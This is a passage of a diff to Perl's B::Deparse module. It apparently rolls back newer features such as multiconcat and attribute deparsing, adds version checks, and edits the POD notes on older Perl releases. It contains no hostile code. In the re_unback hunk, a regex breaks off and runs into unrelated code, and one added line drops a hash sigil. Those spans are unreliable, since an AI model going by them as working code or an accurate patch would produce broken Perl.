CvFILE, but a constant stub has no CvFILE. - my $pack = ($ar->[0] =~ /(.*)::/)[0]; - next if $pack and !$self->{packs}{$pack} - } my $body = defined $ar->[1] ? ref $ar->[1] ? " () {\n " . $self->const($ar->[1]->RV,0) . ";\n}" @@ -782,7 +817,6 @@ sub new { $self->{'ex_const'} = "'???'"; $self->{'expand'} = 0; $self->{'files'} = {}; - $self->{'packs'} = {}; $self->{'indent_size'} = 4; $self->{'linenums'} = 0; $self->{'parens'} = 0; @@ -842,6 +876,7 @@ sub init { ? $self->{'ambient_warnings'} & WARN_MASK : undef; $self->{'hints'} = $self->{'ambient_hints'}; + $self->{'hints'} &= 0xFF if $] < 5.009; $self->{'hinthash'} = $self->{'ambient_hinthash'}; # also a convenient place to clear out subs_declared @@ -1184,7 +1219,7 @@ sub pad_subs { # # Normally a bunch of argelem ops will have been generated by the # signature parsing, but it's possible that ops have been added manually -# or altered. In this case we return "()" and fall back to general +# or altered. In this case we "return ()" and fall back to general # deparsing of the individual sigelems as 'my $x = $_[N]' etc. # # We're only called if the first two ops are nextstate and argcheck. @@ -1275,14 +1310,13 @@ sub deparse_argops { # Deparse a sub. Returns everything except the 'sub foo', # e.g. ($$) : method { ...; } -# or : prototype($$) lvalue ($a, $b) { ...; }; +# or ($a, $b) : prototype($$) lvalue; sub deparse_sub { my $self = shift; my $cv = shift; my @attrs; - my $proto; - my $sig; + my $protosig; # prototype or signature (what goes in the (....)) Carp::confess("NULL in deparse_sub") if !defined($cv) || $cv->isa("B::NULL"); Carp::confess("SPECIAL in deparse_sub") if $cv->isa("B::SPECIAL"); @@ -1290,16 +1324,17 @@ Carp::confess("SPECIAL in deparse_sub") if $cv->isa("B::SPECIAL"); my $has_sig = $self->{hinthash}{feature_signatures}; if ($cv->FLAGS & SVf_POK) { - my $myproto = $cv->PV; + my $proto = $cv->PV; if ($has_sig) { - push @attrs, "prototype($myproto)"; + push @attrs, "prototype($proto)"; } else { - $proto = $myproto; + $protosig = $proto; } } if ($cv->CvFLAGS & (CVf_METHOD|CVf_LOCKED|CVf_LVALUE|CVf_ANONCONST)) { push @attrs, "lvalue" if $cv->CvFLAGS & CVf_LVALUE; + push @attrs, "locked" if $cv->CvFLAGS & CVf_LOCKED; push @attrs, "method" if $cv->CvFLAGS & CVf_METHOD; push @attrs, "const" if $cv->CvFLAGS & CVf_ANONCONST; } @@ -1327,10 +1362,10 @@ Carp::confess("SPECIAL in deparse_sub") if $cv->isa("B::SPECIAL"); and $$o2) { if ($o2->name eq 'argcheck') { - my ($nexto, $mysig) = $self->deparse_argops($firstop, $cv); + my ($nexto, $sig) = $self->deparse_argops($firstop, $cv); if (defined $nexto) { $firstop = $nexto; - $sig = $mysig; + $protosig = $sig; } } } @@ -1355,18 +1390,7 @@ Carp::confess("SPECIAL in deparse_sub") if $cv->isa("B::SPECIAL"); else { $body = $self->deparse($root->first, 0); } - - my $l = ''; - if ($self->{'linenums'}) { - # a glob's gp_line is set from the line containing a - # sub's closing '}' if the CV is the first use of the GV. - # So make sure the linenum is set correctly for '}' - my $gv = $cv->GV; - my $line = $gv->LINE; - my $file = $gv->FILE; - $l = "\f#line $line \"$file\"\n"; - } - $body = "{\n\t$body\n$l\b}"; + $body = "{\n\t$body\n\b}"; } else { my $sv = $cv->const_sv; @@ -1377,11 +1401,10 @@ Carp::confess("SPECIAL in deparse_sub") if $cv->isa("B::SPECIAL"); $body = ';' } } - $proto = defined $proto ? "($proto) " : ""; - $sig = defined $sig ? "($sig) " : ""; + $protosig = defined $protosig ? "($protosig) " : ""; my $attrs = ''; $attrs = ': ' . join('', map "$_ ", @attrs) if @attrs; - return "$proto$attrs$sig$body\n"; + return "$protosig$attrs$body\n"; } sub deparse_format { @@ -1575,7 +1598,7 @@ sub maybe_local { if $self->{'avoid_local'}{$$op}; if ($need_parens) { return "$our_local($text)"; - } elsif (want_scalar($op) || $our_local eq 'our') { + } elsif (want_scalar($op)) { return "$our_local $text"; } else { return $self->maybe_parens_func("$our_local", $text, $cx, 16); @@ -1823,7 +1846,7 @@ sub gv_name { sub stash_variable { my ($self, $prefix, $name, $cx) = @_; - return $prefix.$self->maybe_qualify($prefix, $name) if $name =~ /::/; + return "$prefix$name" if $name =~ /::/; unless ($prefix eq '$' || $prefix eq '@' || $prefix eq '&' || #' $prefix eq '%' || $prefix eq '$#') { @@ -1899,16 +1922,11 @@ sub stash_variable_name { sub maybe_qualify { my ($self,$prefix,$name) = @_; my $v = ($prefix eq '$#' ? '@' : $prefix) . $name; - if ($prefix eq "") { - $name .= "::" if $name =~ /(?:\ACORE::[^:]*|::)\z/; - return $name; - } - return $name if $name =~ /::/; + return $name if !$prefix || $name =~ /::/; return $self->{'curstash'}.'::'. $name if $name =~ /^(?!\d)\w/ # alphabetic && $v !~ /^\$[ab]\z/ # not $a or $b - && $v =~ /\A[\$\@\%\&]/ # scalar, array, hash, or sub && !$globalnames{$name} # not a global name && $self->{hints} & $strict_bits{vars} # strict vars && !$self->lex_in_scope($v,1) # no "our" @@ -1998,6 +2016,14 @@ sub find_scope { sub cop_subs { my ($self, $op, $out_seq) = @_; my $seq = $op->cop_seq; + if ($] < 5.021006) { + # If we have nephews, then our sequence number indicates + # the cop_seq of the end of some sort of scope. + if (class($op->sibling) ne "NULL" && $op->sibling->flags & OPf_KIDS + and my $nseq = $self->find_scope_st($op->sibling) ) { + $seq = $nseq; + } + } $seq = $out_seq if defined($out_seq) && $out_seq < $seq; return $self->seq_subs($seq); } @@ -2079,7 +2105,7 @@ sub pragmata { $self->{'warnings'} = $warning_bits; } - my $hints = $op->hints; + my $hints = $] < 5.008009 ? $op->private : $op->hints; my $old_hints = $self->{'hints'}; if ($self->{'hints'} != $hints) { push @text, $self->declare_hints($self->{'hints'}, $hints); @@ -2087,9 +2113,11 @@ sub pragmata { } my $newhh; - $newhh = $op->hints_hash->HASH; + if ($] > 5.009) { + $newhh = $op->hints_hash->HASH; + } - { + if ($] >= 5.015006) { # feature bundle hints my $from = $old_hints & $feature::hint_mask; my $to = $ hints & $feature::hint_mask; @@ -2114,7 +2142,7 @@ sub pragmata { } } - { + if ($] > 5.009) { push @text, $self->declare_hinthash( $self->{'hinthash'}, $newhh, $self->{indent_size}, $self->{hints}, @@ -2160,18 +2188,12 @@ sub pp_nextstate { sub declare_warnings { my ($self, $from, $to) = @_; - $from //= ''; - my $all = (warnings::bits("all") & WARN_MASK); - unless ((($from & WARN_MASK) & ~$all) =~ /[^\0]/) { - # no FATAL bits need turning off - if ( ($to & WARN_MASK) eq $all) { - return $self->keyword("use") . " warnings;\n"; - } - elsif (($to & WARN_MASK) eq ("\0"x length($to) & WARN_MASK)) { - return $self->keyword("no") . " warnings;\n"; - } + if (($to & WARN_MASK) eq (warnings::bits("all") & WARN_MASK)) { + return $self->keyword("use") . " warnings;\n"; + } + elsif (($to & WARN_MASK) eq ("\0"x length($to) & WARN_MASK)) { + return $self->keyword("no") . " warnings;\n"; } - return "BEGIN {\${^WARNING_BITS} = \"" . join("", map { sprintf("\\x%02x", ord $_) } split "", $to) . "\"}\n\cK"; @@ -2213,7 +2235,7 @@ sub declare_hinthash { my @unfeatures; # bugs? for my $key (sort keys %$to) { next if $ignored_hints{$key}; - my $is_feature = $key =~ /^feature_/; + my $is_feature = $key =~ /^feature_/ && $^V ge 5.15.6; next if $is_feature and not $doing_features; if (!exists $from->{$key} or $from->{$key} ne $to->{$key}) { push(@features, $key), next if $is_feature; @@ -2229,7 +2251,7 @@ sub declare_hinthash { } for my $key (sort keys %$from) { next if $ignored_hints{$key}; - my $is_feature = $key =~ /^feature_/; + my $is_feature = $key =~ /^feature_/ && $^V ge 5.15.6; next if $is_feature and not $doing_features; if (!exists $to->{$key}) { push(@unfeatures, $key), next if $is_feature; @@ -2627,7 +2649,7 @@ sub pp_delete { my($op, $cx) = @_; my $arg; my $name = $self->keyword("delete"); - if ($op->private & (OPpSLICE|OPpKVSLICE)) { + if ($op->private & OPpSLICE) { if ($op->flags & OPf_SPECIAL) { # Deleting from an array, not a hash return $self->maybe_parens_func($name, @@ -2986,7 +3008,7 @@ sub binop { my $leftop = $left; $left = $self->deparse_binop_left($op, $left, $prec); $left = "($left)" if $flags & LIST_CONTEXT - and $left !~ /^(my|our|local|state|)\s*[\@%\(]/ + and $left !~ /^(my|our|local|)[\@\(]/ || do { # Parenthesize if the left argument is a # lone repeat op. @@ -3050,7 +3072,7 @@ sub pp_aassign { binop(@_, "=", 7, SWAP_CHILDREN | LIST_CONTEXT) } sub pp_smartmatch { my ($self, $op, $cx) = @_; - if (($op->flags & OPf_SPECIAL) && $self->{expand} < 2) { + if ($op->flags & OPf_SPECIAL) { return $self->deparse($op->last, $cx); } else { @@ -3069,8 +3091,7 @@ sub real_concat { my $right = $op->last; my $eq = ""; my $prec = 18; - if (($op->flags & OPf_STACKED) and !($op->private & OPpCONCAT_NESTED)) { - # '.=' rather than optimised '.' + if ($op->flags & OPf_STACKED and $op->first->name ne "concat") { $eq = "="; $prec = 7; } @@ -3266,35 +3287,9 @@ sub pp_substr { } maybe_local(@_, listop(@_, "substr")) } - -sub pp_index { - # Also handles pp_rindex. - # - # The body of this function includes an unrolled maybe_targmy(), - # since the two parts of that sub's actions need to have have the - # '== -1' bit in between - - my($self, $op, $cx) = @_; - - my $lex = ($op->private & OPpTARGET_MY); - my $bool = ($op->private & OPpTRUEBOOL); - - my $val = $self->listop($op, ($bool ? 14 : $lex ? 7 : $cx), $op->name); - - # (index() == -1) has op_eq and op_const optimised away - if ($bool) { - $val .= ($op->private & OPpINDEX_BOOLNEG) ? " == -1" : " != -1"; - $val = "($val)" if ($op->flags & OPf_PARENS); - } - if ($lex) { - my $var = $self->padname($op->targ); - $val = $self->maybe_parens("$var = $val", $cx, 7); - } - $val; -} - -sub pp_rindex { pp_index(@_); } sub pp_vec { maybe_targmy(@_, \&maybe_local, listop(@_, "vec")) } +sub pp_index { maybe_targmy(@_, \&listop, "index") } +sub pp_rindex { maybe_targmy(@_, \&listop, "rindex") } sub pp_sprintf { maybe_targmy(@_, \&listop, "sprintf") } sub pp_formline { listop(@_, "formline") } # see also deparse_format sub pp_crypt { maybe_targmy(@_, \&listop, "crypt") } @@ -3522,175 +3517,9 @@ BEGIN { delete @uses_intro{qw( lvref lvrefslice lvavref entersub )}; } - -# Look for a my/state attribute declaration in a list or ex-list. -# Returns undef if not found, 'my($x, @a) :Foo(bar)' etc otherwise. -# -# There are three basic tree structs that are expected: -# -# my $x :foo; -# <1> ex-list vK/LVINTRO ->c -# <0> ex-pushmark v ->3 -# <1> entersub[t2] vKRS*/TARG ->b -# .... -# <0> padsv[$x:64,65] vM/LVINTRO ->c -# -# my @a :foo; -# my %h :foo; -# -# <1> ex-list vK ->c -# <0> ex-pushmark v ->3 -# <0> padav[@a:64,65] vM/LVINTRO ->4 -# <1> entersub[t2] vKRS*/TARG ->c -# .... -# -# my ($x,@a,%h) :foo; -# -# <;> nextstate(main 64 -e:1) v:{ ->3 -# <@> list vKP ->w -# <0> pushmark vM/LVINTRO ->4 -# <0> padsv[$x:64,65] vM/LVINTRO ->5 -# <0> padav[@a:64,65] vM/LVINTRO ->6 -# <0> padhv[%h:64,65] vM/LVINTRO ->7 -# <1> entersub[t4] vKRS*/TARG ->f -# .... -# <1> entersub[t5] vKRS*/TARG ->n -# .... -# <1> entersub[t6] vKRS*/TARG ->v -# .... -# where the entersub in all cases looks like -# <1> entersub[t2] vKRS*/TARG ->c -# <0> pushmark s ->5 -# <$> const[PV "attributes"] sM ->6 -# <$> const[PV "main"] sM ->7 -# <1> srefgen sKM/1 ->9 -# <1> ex-list lKRM ->8 -# <0> padsv[@a:64,65] sRM ->8 -# <$> const[PV "foo"] sM ->a -# <.> method_named[PV "import"] ->b - -sub maybe_var_attr { - my ($self, $op, $cx) = @_; - - my $kid = $op->first->sibling; # skip pushmark - return if class($kid) eq 'NULL'; - - my $lop; - my $type; - - # Extract out all the pad ops and entersub ops into - # @padops and @entersubops. Return if anything else seen. - # Also determine what class (if any) all the pad vars belong to - my $class; - my $decl; # 'my' or 'state' - my (@padops, @entersubops); - for ($lop = $kid; !null($lop); $lop = $lop->sibling) { - my $lopname = $lop->name; - my $loppriv = $lop->private; - if ($lopname =~ /^pad[sah]v$/) { - return unless $loppriv & OPpLVAL_INTRO; - - my $padname = $self->padname_sv($lop->targ); - my $thisclass = ($padname->FLAGS & SVpad_TYPED) - ? $padname->SvSTASH->NAME : 'main'; - - # all pad vars must be in the same class - $class //= $thisclass; - return unless $thisclass eq $class; - - # all pad vars must be the same sort of declaration - # (all my, all state, etc) - my $this = ($loppriv & OPpPAD_STATE) ? 'state' : 'my'; - if (defined $decl) { - return unless $this eq $decl; - } - $decl = $this; - - push @padops, $lop; - } - elsif ($lopname eq 'entersub') { - push @entersubops, $lop; - } - else { - return; - } - } - - return unless @padops && @padops == @entersubops; - - # there should be a balance: each padop has a corresponding - # 'attributes'->import() method call, in the same order. - - my @varnames; - my $attr_text; - - for my $i (0..$#padops) { - my $padop = $padops[$i]; - my $esop = $entersubops[$i]; - - push @varnames, $self->padname($padop->targ); - - return unless ($esop->flags & OPf_KIDS); - - my $kid = $esop->first; - return unless $kid->type == OP_PUSHMARK; - - $kid = $kid->sibling; - return unless $$kid && $kid->type == OP_CONST; - return unless $self->const_sv($kid)->PV eq 'attributes'; - - $kid = $kid->sibling; - return unless $$kid && $kid->type == OP_CONST; # __PACKAGE__ - - $kid = $kid->sibling; - return unless $$kid - && $kid->name eq "srefgen" - && ($kid->flags & OPf_KIDS) - && ($kid->first->flags & OPf_KIDS) - && $kid->first->first->name =~ /^pad[sah]v$/ - && $kid->first->first->targ == $padop->targ; - - $kid = $kid->sibling; - my @attr; - while ($$kid) { - last if ($kid->type != OP_CONST); - push @attr, $self->const_sv($kid)->PV; - $kid = $kid->sibling; - } - return unless @attr; - my $thisattr = ":" . join(' ', @attr); - $attr_text //= $thisattr; - # all import calls must have the same list of attributes - return unless $attr_text eq $thisattr; - - return unless $kid->name eq 'method_named'; - return unless $self->meth_sv($kid)->PV eq 'import'; - - $kid = $kid->sibling; - return if $$kid; - } - - my $res = $decl; - $res .= " $class " if $class ne 'main'; - $res .= - (@varnames > 1) - ? "(" . join(', ', @varnames) . ')' - : " $varnames[0]"; - - return "$res $attr_text"; -} - - sub pp_list { my $self = shift; my($op, $cx) = @_; - - { - # might be my ($s,@a,%h) :Foo(bar); - my $my_attr = maybe_var_attr($self, $op, $cx); - return $my_attr if defined $my_attr; - } - my($expr, @exprs); my $kid = $op->first->sibling; # skip pushmark return '' if class($kid) eq 'NULL'; @@ -3768,10 +3597,6 @@ sub pp_list { push @exprs, $expr; } if ($local) { - if (@exprs == 1 && ($local eq 'state' || $local eq 'CORE::state')) { - # 'state @a = ...' is legal, while 'state(@a) = ...' currently isn't - return "$local $exprs[0]"; - } return "$local(" . join(", ", @exprs) . ")"; } else { return $self->maybe_parens( join(", ", @exprs), $cx, 6); @@ -3988,13 +3813,6 @@ sub _op_is_or_was { sub pp_null { my($self, $op, $cx) = @_; - - # might be 'my $s :Foo(bar);' - if ($op->targ == OP_LIST) { - my $my_attr = maybe_var_attr($self, $op, $cx); - return $my_attr if defined $my_attr; - } - if (class($op) eq "OP") { # old value is lost return $self->{'ex_const'} if $op->targ == OP_CONST; @@ -4071,31 +3889,7 @@ sub pp_padsv { } sub pp_padav { pp_padsv(@_) } - -# prepend 'keys' where its been optimised away, with suitable handling -# of CORE:: and parens - -sub add_keys_keyword { - my ($self, $str, $cx) = @_; - $str = $self->maybe_parens($str, $cx, 16); - # 'keys %h' versus 'keys(%h)' - $str = " $str" unless $str =~ /^\(/; - return $self->keyword("keys") . $str; -} - -sub pp_padhv { - my ($self, $op, $cx) = @_; - my $str = pp_padsv(@_); - # with OPpPADHV_ISKEYS the keys op is optimised away, except - # in scalar context the old op is kept (but not executed) so its targ - # can be used. - if ( ($op->private & OPpPADHV_ISKEYS) - && !(($op->flags & OPf_WANT) == OPf_WANT_SCALAR)) - { - $str = $self->add_keys_keyword($str, $cx); - } - $str; -} +sub pp_padhv { pp_padsv(@_) } sub gv_or_padgv { my $self = shift; @@ -4119,7 +3913,7 @@ sub pp_gv { my $self = shift; my($op, $cx) = @_; my $gv = $self->gv_or_padgv($op); - return $self->maybe_qualify("", $self->gv_name($gv)); + return $self->gv_name($gv); } sub pp_aelemfast_lex { @@ -4156,8 +3950,7 @@ sub rv2x { } my $kid = $op->first; if ($kid->name eq "gv") { - return $self->stash_variable($type, - $self->gv_name($self->gv_or_padgv($kid)), $cx); + return $self->stash_variable($type, $self->deparse($kid, 0), $cx); } elsif (is_scalar $kid) { my $str = $self->deparse($kid, 0); if ($str =~ /^\$([^\w\d])\z/) { @@ -4179,43 +3972,18 @@ sub rv2x { } sub pp_rv2sv { maybe_local(@_, rv2x(@_, "\$")) } +sub pp_rv2hv { maybe_local(@_, rv2x(@_, "%")) } sub pp_rv2gv { maybe_local(@_, rv2x(@_, "*")) } -sub pp_rv2hv { - my ($self, $op, $cx) = @_; - my $str = rv2x(@_, "%"); - if ($op->private & OPpRV2HV_ISKEYS) { - $str = $self->add_keys_keyword($str, $cx); - } - return maybe_local(@_, $str); -} - # skip rv2av sub pp_av2arylen { my $self = shift; my($op, $cx) = @_; - my $kid = $op->first; - if ($kid->name eq "padav") { - return $self->maybe_local($op, $cx, '$#' . $self->padany($kid)); + if ($op->first->name eq "padav") { + return $self->maybe_local($op, $cx, '$#' . $self->padany($op->first)); } else { - my $kkid; - if ( $kid->name eq "rv2av" - && ($kkid = $kid->first) - && $kkid->name !~ /^(scope|leave|gv)$/) - { - # handle (expr)->$#* postfix form - my $expr; - $expr = $self->deparse($kkid, 24); # 24 is '->' - $expr = "$expr->\$#*"; - # XXX maybe_local is probably wrong here: local($#-expression) - # doesn't "do" local (the is no INTRO flag set) - return $self->maybe_local($op, $cx, $expr); - } - else { - # handle $#{expr} form - # XXX see maybe_local comment above - return $self->maybe_local($op, $cx, $self->rv2x($kid, $cx, '$#')); - } + return $self->maybe_local($op, $cx, + $self->rv2x($op->first, $cx, '$#')); } } @@ -4385,146 +4153,6 @@ sub multideref_var_name { } -# deparse an OP_MULTICONCAT. If $in_dq is 1, we're within -# a double-quoted string, so for example. -# "abc\Qdef$x\Ebar" -# might get compiled as -# multiconcat("abc", metaquote(multiconcat("def", $x)), "bar") -# and the inner multiconcat should be deparsed as C rather than -# the normal C -# Ditto if $in_dq is 2, handle qr/...\Qdef$x\E.../. - -sub do_multiconcat { - my $self = shift; - my($op, $cx, $in_dq) = @_; - - my $kid; - my @kids; - my $assign; - my $append; - my $lhs = ""; - - for ($kid = $op->first; !null $kid; $kid = $kid->sibling) { - # skip the consts and/or padsv we've optimised away - push @kids, $kid - unless $kid->type == OP_NULL - && ( $kid->targ == OP_PADSV - || $kid->targ == OP_CONST - || $kid->targ == OP_PUSHMARK); - } - - $append = ($op->private & OPpMULTICONCAT_APPEND); - - if ($op->private & OPpTARGET_MY) { - # '$lex = ...' or '$lex .= ....' or 'my $lex = ' - $lhs = $self->padname($op->targ); - $lhs = "my $lhs" if ($op->private & OPpLVAL_INTRO); - $assign = 1; - } - elsif ($op->flags & OPf_STACKED) { - # 'expr = ...' or 'expr .= ....' - my $expr = $append ? shift(@kids) : pop(@kids); - $lhs = $self->deparse($expr, 7); - $assign = 1; - } - - if ($assign) { - $lhs .= $append ? ' .= ' : ' = '; - } - - my ($nargs, $const_str, @const_lens) = $op->aux_list($self->{curcv}); - - my @consts; - my $i = 0; - for (@const_lens) { - if ($_ == -1) { - push @consts, undef; - } - else { - push @consts, substr($const_str, $i, $_); - my @args; - $i += $_; - } - } - - my $rhs = ""; - - if ( $in_dq - || (($op->private & OPpMULTICONCAT_STRINGIFY) && !$self->{'unquote'})) - { - # "foo=$foo bar=$bar " - my $not_first; - while (@consts) { - if ($not_first) { - my $s = $self->dq(shift(@kids), 18); - # don't deparse "a${$}b" as "a$$b" - $s = '${$}' if $s eq '$$'; - $rhs = dq_disambiguate($rhs, $s); - } - $not_first = 1; - my $c = shift @consts; - if (defined $c) { - if ($in_dq == 2) { - # in pattern: don't convert newline to '\n' etc etc - my $s = re_uninterp(escape_re(re_unback($c))); - $rhs = re_dq_disambiguate($rhs, $s) - } - else { - my $s = uninterp(escape_str(unback($c))); - $rhs = dq_disambiguate($rhs, $s) - } - } - } - return $rhs if $in_dq; - $rhs = single_delim("qq", '"', $rhs, $self); - } - elsif ($op->private & OPpMULTICONCAT_FAKE) { - # sprintf("foo=%s bar=%s ", $foo, $bar) - - my @all; - @consts = map { $_ //= ''; s/%/%%/g; $_ } @consts; - my $fmt = join '%s', @consts; - push @all, $self->quoted_const_str($fmt); - - # the following is a stripped down copy of sub listop {} - my $parens = $assign || ($cx >= 5) || $self->{'parens'}; - my $fullname = $self->keyword('sprintf'); - push @all, map $self->deparse($_, 6), @kids; - - $rhs = $parens - ? "$fullname(" . join(", ", @all) . ")" - : "$fullname " . join(", ", @all); - } - else { - # "foo=" . $foo . " bar=" . $bar - my @all; - my $not_first; - while (@consts) { - push @all, $self->deparse(shift(@kids), 18) if $not_first; - $not_first = 1; - my $c = shift @consts; - if (defined $c) { - push @all, $self->quoted_const_str($c); - } - } - $rhs .= join ' . ', @all; - } - - my $text = $lhs . $rhs; - - $text = "($text)" if ($cx >= (($assign) ? 7 : 18+1)) - || $self->{'parens'}; - - return $text; -} - - -sub pp_multiconcat { - my $self = shift; - $self->do_multiconcat(@_, 0); -} - - sub pp_multideref { my $self = shift; my($op, $cx) = @_; @@ -4664,7 +4292,6 @@ sub pp_gelem { my $scope = is_scope($glob); $glob = $self->deparse($glob, 0); $part = $self->deparse($part, 1); - $glob =~ s/::\z// unless $scope; return "*" . ($scope ? "{$glob}" : $glob) . "{$part}"; } @@ -4693,9 +4320,8 @@ sub slice { } else { $list = $self->elem_or_slice_single_index($kid); } - my $lead = ( _op_is_or_was($op, OP_KVHSLICE) - || _op_is_or_was($op, OP_KVASLICE)) - ? '%' : '@'; + my $lead = '@'; + $lead = '%' if $op->name =~ /^kv/i; return $lead . $array . $left . $list . $right; } @@ -4908,7 +4534,7 @@ sub retscalar { |study|pos|preinc|i_preinc|predec|i_predec|postinc |i_postinc|postdec|i_postdec|pow|multiply|i_multiply |divide|i_divide|modulo|i_modulo|add|i_add|subtract - |i_subtract|concat|multiconcat|stringify|left_shift|right_shift|lt + |i_subtract|concat|stringify|left_shift|right_shift|lt |i_lt|gt|i_gt|le|i_le|ge|i_ge|eq|i_eq|ne|i_ne|ncmp|i_ncmp |slt|sgt|sle|sge|seq|sne|scmp|[sn]?bit_(?:and|x?or)|negate |i_negate|not|[sn]?complement|smartmatch|atan2|sin|cos @@ -4970,7 +4596,7 @@ sub pp_entersub { $proto = $cv->PV if $cv->FLAGS & SVf_POK; } $simple = 1; # only calls of named functions can be prototyped - $kid = $self->maybe_qualify("!", $self->gv_name($gv)); + $kid = $self->deparse($kid, 24); my $fq; # Fully qualify any sub name that conflicts with a lexical. if ($self->lex_in_scope("&$kid") @@ -5182,33 +4808,11 @@ sub unback { # Remove backslashes which precede literal control characters, # to avoid creating ambiguity when we escape the latter. -# -# Don't remove a backslash from escaped whitespace: where the T represents -# a literal tab character, /T/x is not equivalent to /\T/x - sub re_unback { my($str) = @_; # the insane complexity here is due to the behaviour of "\c\" - $str =~ s/ - # these two lines ensure that the backslash we're about to - # remove isn't preceeded by something which makes it part - # of a \c - - (^ | [^\\] | \\c\\) # $1 - (?{curcv} && + BEGIN { + if ($] > 5.0150051) { + require overloading; + unimport overloading; + } + } + if ($] > 5.0150051 && $self->{curcv} && $self->{curcv}->object_2svref == $ref->object_2svref) { return $self->keyword("__SUB__"); } @@ -5406,7 +5001,12 @@ sub const { return $self->maybe_parens("\\$const", $cx, 20); } elsif ($sv->FLAGS & SVf_POK) { my $str = $sv->PV; - return $self->quoted_const_str($str); + if ($str =~ /[[:^print:]]/a) { + return single_delim("qq", '"', + uninterp(escape_str unback $str), $self); + } else { + return single_delim("q", "'", unback($str), $self); + } } else { return "undef"; } @@ -5466,25 +5066,6 @@ sub pp_const { return $self->const($sv, $cx); } - -# Join two components of a double-quoted string, disambiguating -# "${foo}bar", "${foo}{bar}", "${foo}[1]", "$foo\::bar" - -sub dq_disambiguate { - my ($first, $last) = @_; - ($last =~ /^[A-Z\\\^\[\]_?]/ && - $first =~ s/([\$@])\^$/${1}{^}/) # "${^}W" etc - || ($last =~ /^[:'{\[\w_]/ && #' - $first =~ s/([\$@])([A-Za-z_]\w*)$/${1}{$2}/); - return $first . $last; -} - - -# Deparse a double-quoted optree. For example, "$a[0]\Q$b\Efo\"o" gets -# compiled to concat(concat($[0],quotemeta($b)),const("fo\"o")), and this -# sub deparses it back to $a[0]\Q$b\Efo"o -# (It does not add delimiters) - sub dq { my $self = shift; my $op = shift; @@ -5493,9 +5074,16 @@ sub dq { return '$[' if $op->private & OPpCONST_ARYBASE; return uninterp(escape_str(unback($self->const_sv($op)->as_string))); } elsif ($type eq "concat") { - return dq_disambiguate($self->dq($op->first), $self->dq($op->last)); - } elsif ($type eq "multiconcat") { - return $self->do_multiconcat($op, 26, 1); + my $first = $self->dq($op->first); + my $last = $self->dq($op->last); + + # Disambiguate "${foo}bar", "${foo}{bar}", "${foo}[1]", "$foo\::bar" + ($last =~ /^[A-Z\\\^\[\]_?]/ && + $first =~ s/([\$@])\^$/${1}{^}/) # "${^}W" etc + || ($last =~ /^[:'{\[\w_]/ && #' + $first =~ s/([\$@])([A-Za-z_]\w*)$/${1}{$2}/); + + return $first . $last; } elsif ($type eq "uc") { return '\U' . $self->dq($op->first->sibling) . '\E'; } elsif ($type eq "lc") { @@ -5584,9 +5172,7 @@ sub double_delim { } } -# Escape a characrter. # Only used by tr///, so backslashes hyphens - sub pchr { # ASCII my($n) = @_; if ($n == ord '\\') { @@ -5614,16 +5200,13 @@ sub pchr { # ASCII } elsif ($n == ord "\r") { return '\\r'; } elsif ($n >= ord("\cA") and $n <= ord("\cZ")) { - return '\\c' . $unctrl{chr $n}; + return '\\c' . unctrl{chr $n}; } else { # return '\x' . sprintf("%02x", $n); return '\\' . sprintf("%03o", $n); } } -# Convert a list of characters into a string suitable for tr/// search or -# replacement, with suitable escaping and collapsing of ranges - sub collapse { my(@chars) = @_; my($str, $c, $tr) = (""); @@ -5644,10 +5227,8 @@ sub collapse { sub tr_decode_byte { my($table, $flags) = @_; - my $ssize_t = $Config{ptrsize} == 8 ? 'q' : 'l'; - my ($size, @table) = unpack("${ssize_t}s*", $table); - pop @table; # remove the wildcard final entry - + my(@table) = unpack("s*", $table); + splice @table, 0x100, 1; # Number of subsequent elements my($c, $tr, @from, @to, @delfrom, $delhyphen); if ($table[ord "-"] != -1 and $table[ord("-") - 1] == -1 || $table[ord("-") + 1] == -1) @@ -5670,12 +5251,7 @@ sub tr_decode_byte { } } @from = (@from, @delfrom); - if ($flags & OPpTRANS_COMPLEMENT) { - unless ($flags & OPpTRANS_DELETE) { - @to = () if ("@from" eq "@to"); - } - my @newfrom = (); my %from; @from{@from} = (1) x @from; @@ -5832,11 +5408,9 @@ sub pp_trans { sub pp_transr { push @_, 'r'; goto &pp_trans } -# Join two components of a double-quoted re, disambiguating -# "${foo}bar", "${foo}{bar}", "${foo}[1]". - sub re_dq_disambiguate { my ($first, $last) = @_; + # Disambiguate "${foo}bar", "${foo}{bar}", "${foo}[1]" ($last =~ /^[A-Z\\\^\[\]_?]/ && $first =~ s/([\$@])\^$/${1}{^}/) # "${^}W" etc || ($last =~ /^[{\[\w_]/ && @@ -5858,8 +5432,6 @@ sub re_dq { my $first = $self->re_dq($op->first); my $last = $self->re_dq($op->last); return re_dq_disambiguate($first, $last); - } elsif ($type eq "multiconcat") { - return $self->do_multiconcat($op, 26, 2); } elsif ($type eq "uc") { return '\U' . $self->re_dq($op->first->sibling) . '\E'; } elsif ($type eq "lc") { @@ -5908,31 +5480,6 @@ sub pure_string { return $self->pure_string($op->first) && $self->pure_string($op->last); } - elsif ($type eq 'multiconcat') { - my ($kid, @kids); - for ($kid = $op->first; !null $kid; $kid = $kid->sibling) { - # skip the consts and/or padsv we've optimised away - push @kids, $kid - unless $kid->type == OP_NULL - && ( $kid->targ == OP_PADSV - || $kid->targ == OP_CONST - || $kid->targ == OP_PUSHMARK); - } - - if ($op->flags & OPf_STACKED) { - # remove expr from @kids where 'expr = ...' or 'expr .= ....' - if ($op->private & OPpMULTICONCAT_APPEND) { - shift(@kids); - } - else { - pop(@kids); - } - } - for (@kids) { - return 0 unless $self->pure_string($_); - } - return 1; - } elsif (is_scalar($op) || $type =~ /^[ah]elem$/) { return 1; } @@ -6773,7 +6320,7 @@ expect. =item $[ Takes a number, the value of the array base $[. -Obsolete: cannot be non-zero. +Cannot be non-zero on Perl 5.15.3 or later. =item bytes @@ -6860,10 +6407,11 @@ the main:: package, the code will include a package declaration. =item * -The only pragmas to +In Perl 5.20 and earlier, the only pragmas to be completely supported are: C, C, C, C -and C. +and C. (C<$[>, which +behaves like a pragma, is also supported.) Excepting those listed above, we're currently unable to guarantee that B::Deparse will produce a pragma at the correct point in the program. @@ -6881,6 +6429,9 @@ exactly the right place. So if you use a module which affects compilation (such as by over-riding keywords, overloading constants or whatever) then the output code might not work as intended. +This is the most serious problem in Perl 5.20 and earlier. Fixing this +required internal changes in Perl 5.22. + =item * Some constants don't print correctly either with or without B<-d>. @@ -6926,6 +6477,12 @@ L to serialize closures properly. There are probably many more bugs on non-ASCII platforms (EBCDIC). +=item * + +Prior to Perl 5.22, lexical C subroutines were not deparsed properly. +They were emitted as pure declarations, sometimes in the wrong place. +Lexical C subroutines were not deparsed at all. + =back =head1 